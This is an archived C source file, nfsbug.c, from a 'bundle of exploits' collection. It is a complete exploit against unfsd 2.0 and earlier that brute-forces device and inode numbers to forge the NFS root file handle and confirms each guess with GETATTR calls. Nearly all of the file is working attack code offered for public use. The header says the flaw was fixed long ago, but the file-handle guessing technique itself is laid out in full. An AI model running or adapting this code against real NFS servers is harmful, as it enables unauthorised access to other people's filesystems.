home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / nfsbug.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  7KB  |  288 lines

  1. /*
  2.  * nfsbug    This program demonstrates a security problem in unfsd
  3.  *        version 2.0 and earlier. It has been fixed now for almost
  4.  *        a year, so I think it should be fairly safe to release the
  5.  *        exploit code to the public.
  6.  *
  7.  *        This program tries to guess the file handle of the root
  8.  *        FS by trying reasonable combinations of device and inode
  9.  *        number in succession, and attempting to get its attributes
  10.  *        handle from the server. It stops when it receives a valid
  11.  *        reply and prints out the results.
  12.  *
  13.  *        You can speed up the search by providing the device or inode
  14.  *        number you want to probe for using the -d and -i switch.
  15.  *        Compile with gcc -Wall -o nfsbug nfsbug.c
  16.  *
  17.  *        Copyright (C) 1995 O. Kirch
  18.  *        This program may be distributed freely according to
  19.  *        the GPL.
  20.  */
  21.  
  22. #include <sys/types.h>
  23. #include <sys/mount.h>
  24. #include <stdio.h>
  25. #include <getopt.h>
  26. #include <netdb.h>
  27.  
  28. #include <rpc/rpc.h>
  29. #include <rpc/xdr.h>
  30. #include <rpcsvc/nfs_prot.h>
  31.  
  32.  
  33. static CLIENT *    client;
  34. static char *    prog;
  35.  
  36. /* dev_t and ino_t must match linux types, not client host types */
  37. #define dev_t    unsigned short
  38. #define ino_t    unsigned long
  39.  
  40. #define NO_DEV    ((dev_t)~0)
  41. #define NO_INO    ((ino_t)~0)
  42.  
  43. /*
  44.  * This is the FH representation used by unfsd. 
  45.  */
  46. typedef struct svc_fh {
  47.     unsigned long    h_psi;        /* 4 bytes */
  48.     unsigned char    h_path[28];    /* 28 bytes */
  49. } svc_fh;
  50.  
  51. /*
  52.  * Prototypes
  53.  */
  54. static int    try_device(dev_t dev, ino_t ino);
  55. static int    try_inode(dev_t dev, ino_t ino);
  56. static int    pseudo_inode(dev_t dev, ino_t ino);
  57. static CLIENT *    nfsconnect(char *hostname);
  58. static int    nfscall(dev_t dev, ino_t ino, svc_fh *h);
  59. static bool_t    xdr_fh(XDR *xdrs, svc_fh *fh);
  60. static bool_t    xdr_getattrres(XDR *xdrs, attrstat *as);
  61.  
  62. int
  63. main(int argc, char **argv)
  64. {
  65.     char    *hostname = "localhost";
  66.     char    *end;
  67.     char    c;
  68.     dev_t    dev = NO_DEV;
  69.     ino_t    ino = NO_INO;
  70.     int    ok = 0;
  71.  
  72.     if ((prog = strrchr(argv[0], '/')) == NULL) {
  73.         prog = argv[0];
  74.     } else {
  75.         prog++;
  76.     }
  77.  
  78.     while ((c = getopt(argc, argv, "d:h:i:")) != -1) {
  79.         switch (c) {
  80.         case 'd':
  81.             if (!strncmp(optarg, "0x", 2))
  82.                 dev = strtol(optarg + 2, &end, 16);
  83.             else
  84.                 dev = strtol(optarg, &end, 10);
  85.             if (*end != '\0') {
  86.                 fprintf(stderr,
  87.                     "%s: bad device number %s\n",
  88.                     prog, optarg);
  89.                 exit(2);
  90.             }
  91.             break;
  92.         case 'i':
  93.             ino = strtol(optarg, &end, 10);
  94.             if (*end != '\0') {
  95.                 fprintf(stderr,
  96.                     "%s: bad inode number %s\n",
  97.                     prog, optarg);
  98.                 exit(2);
  99.             }
  100.             break;
  101.         case 'h':
  102.             hostname = optarg;
  103.             break;
  104.         case '?':
  105.             fprintf(stderr, "%s: unknown argument %c\n", prog, c);
  106.             exit(2);
  107.         }
  108.     }
  109.     if (optind != argc) {
  110.         fprintf(stderr, "%s: bad number of arguments\n", prog);
  111.         exit(2);
  112.     }
  113.     client = nfsconnect(hostname);
  114.  
  115.     if (dev != NO_DEV) {
  116.         ok = try_device(dev, ino);
  117.     } else {
  118.         unsigned short major, minor;
  119.  
  120.         for (major = 0; major < 256 && !ok; major++) {
  121.             printf("major %02x: ", major);
  122.             for (minor = 0; minor < 32 && !ok; minor++) {
  123.                 printf("%x ", minor); fflush(stdout);
  124.                 dev = (major << 8) | minor;
  125.                 ok = try_device(dev, ino);
  126.             }
  127.             printf("\n");
  128.         }
  129.     }
  130.  
  131.     if (!ok)
  132.         fprintf(stderr, "nfsbug: server seems to be immune\n");
  133.  
  134.     return 0;
  135. }
  136.  
  137. static int
  138. try_device(dev_t dev, ino_t ino)
  139. {
  140.     int ok = 0;
  141.  
  142.     if (ino != NO_INO)
  143.         return try_inode(dev, ino);
  144.     for (ino = 0; ino < 10 && !ok; ino++)
  145.         ok = try_inode(dev, ino);
  146.     return ok;
  147. }
  148.  
  149. /* Try if the given dev/ino combination yields a valid file handle for
  150.  * the FS root.
  151.  */
  152. static int
  153. try_inode(dev_t dev, ino_t ino)
  154. {
  155.     svc_fh    fh;
  156.  
  157.     memset(&fh, 0, sizeof(fh));
  158.     fh.h_psi = pseudo_inode(dev, ino);
  159.     if (nfscall(dev, ino, &fh))
  160.         return 1;
  161.     fh.h_psi = htonl(fh.h_psi); /* if client has different byte order */
  162.     if (nfscall(dev, ino, &fh))
  163.         return 1;
  164.     return 0;
  165. }
  166.  
  167. /*
  168.  * Compute unfsd's pseudo inode numbers.
  169.  */
  170. static int
  171. pseudo_inode(dev_t dev, ino_t ino)
  172. {
  173.     unsigned long    dmajor, dminor;
  174.  
  175.     /*
  176.          * Assuming major and minor numbers are small integers,
  177.          * gravitate bits of dmajor & dminor device number to
  178.          * high-order bits of word, to avoid clash with real inode num.
  179.          */
  180.     /* reverse (byte-wise) */
  181.     dmajor = ((dev & 0xf0f) << 4) | ((dev & 0xf0f0) >> 4);
  182.     dmajor = ((dmajor & 0x3333) << 2) | ((dmajor & 0xcccc) >> 2);
  183.     dmajor = ((dmajor & 0x5555) << 1) | ((dmajor & 0xaaaa) >> 1);
  184.  
  185.     /* spread low-16 -> 32 with 0's in even posn */
  186.     dmajor = ((dmajor & 0xff00) << 8) | (dmajor & 0xff);
  187.     dmajor = ((dmajor & 0xf000f0) << 4) | (dmajor & 0xf000f);
  188.     dmajor = ((dmajor & 0xc0c0c0c) << 2) | (dmajor & 0x3030303);
  189.     dmajor = ((dmajor & 0x22222222) << 1) | (dmajor & 0x11111111);
  190.     dminor = (dmajor & 0x5555) << 15;
  191.     dmajor = dmajor & 0x55550000;
  192.  
  193.     return ((dmajor | dminor) ^ ino);
  194. }
  195.  
  196.  
  197. /*
  198.  * Connect to the NFS server.
  199.  */
  200. static CLIENT *
  201. nfsconnect(char *hostname)
  202. {
  203.     struct sockaddr_in sin;
  204.     struct hostent    *hp;
  205.     struct timeval    tv = { 5, 0 };
  206.     int        fd = RPC_ANYSOCK;
  207.     CLIENT        *clnt;
  208.  
  209.     if (!(hp = gethostbyname(hostname))) {
  210.         fprintf(stderr, "%s: unknown hostname %s\n", prog, hostname);
  211.         return NULL;
  212.     }
  213.     sin.sin_family = AF_INET;
  214.     sin.sin_addr = *(struct in_addr *)(hp->h_addr);
  215.     sin.sin_port = htons(2049);
  216.  
  217.     clnt = clntudp_create(&sin, 100003, 2, tv, &fd);
  218.     if (!clnt)
  219.         clnt_pcreateerror("can't create client");
  220.  
  221.     return clnt;
  222. }
  223.  
  224. /*
  225.  * Call the NFS server
  226.  */
  227. static int
  228. nfscall(dev_t dev, ino_t ino, svc_fh *h)
  229. {
  230.     struct timeval    tv = { 5, 0 };
  231.     struct attrstat    res;
  232.     struct fattr    *attr = &res.attrstat_u.attributes;
  233.     int        rpcres;
  234.  
  235.     rpcres = clnt_call(client, 1, (xdrproc_t) xdr_fh, h,
  236.                       (xdrproc_t) xdr_getattrres, &res, tv);
  237.     if (rpcres != 0)
  238.         return 0;
  239.     if (res.status != NFS_OK)
  240.         return 0;
  241.     printf("\nGOT IT!\nfile system root attributes:\n"
  242.            "device:  0x%04x\n"
  243.            "inode:   %ld\n"
  244.            "mode:    0%o\n"
  245.            "uid:     %d\n"
  246.            "gid:     %d\n"
  247.            "fsid:    0x%x\n"
  248.            "psi:     %d\n",
  249.            dev, ino,
  250.            attr->mode, attr->uid, attr->gid,
  251.            attr->fsid, attr->fileid);
  252.     return 1;
  253. }
  254.  
  255. static bool_t
  256. xdr_fh(XDR *xdrs, svc_fh *fh)
  257. {
  258.     return xdr_opaque(xdrs, (caddr_t) fh, 32);
  259. }
  260.  
  261. static bool_t
  262. xdr_getattrres(XDR *xdrs, attrstat *as)
  263. {
  264.     struct fattr    *attr = &as->attrstat_u.attributes;
  265.  
  266.     if (!xdr_u_int(xdrs, &as->status))
  267.         return 0;
  268.     if (as->status != 0)
  269.         return 1;
  270.     return xdr_u_int(xdrs, &attr->type) &&
  271.            xdr_int(xdrs, &attr->mode) &&
  272.            xdr_int(xdrs, &attr->nlink) &&
  273.            xdr_int(xdrs, &attr->uid) &&
  274.            xdr_int(xdrs, &attr->gid) &&
  275.            xdr_int(xdrs, &attr->size) &&
  276.            xdr_int(xdrs, &attr->blocksize) &&
  277.            xdr_int(xdrs, &attr->rdev) &&
  278.            xdr_int(xdrs, &attr->blocks) &&
  279.            xdr_int(xdrs, &attr->fsid) &&
  280.            xdr_int(xdrs, &attr->fileid) &&
  281.            xdr_u_int(xdrs, &attr->atime.seconds) &&
  282.            xdr_u_int(xdrs, &attr->atime.useconds) &&
  283.            xdr_u_int(xdrs, &attr->mtime.seconds) &&
  284.            xdr_u_int(xdrs, &attr->mtime.useconds) &&
  285.            xdr_u_int(xdrs, &attr->ctime.seconds) &&
  286.            xdr_u_int(xdrs, &attr->ctime.useconds);
  287. }
  288.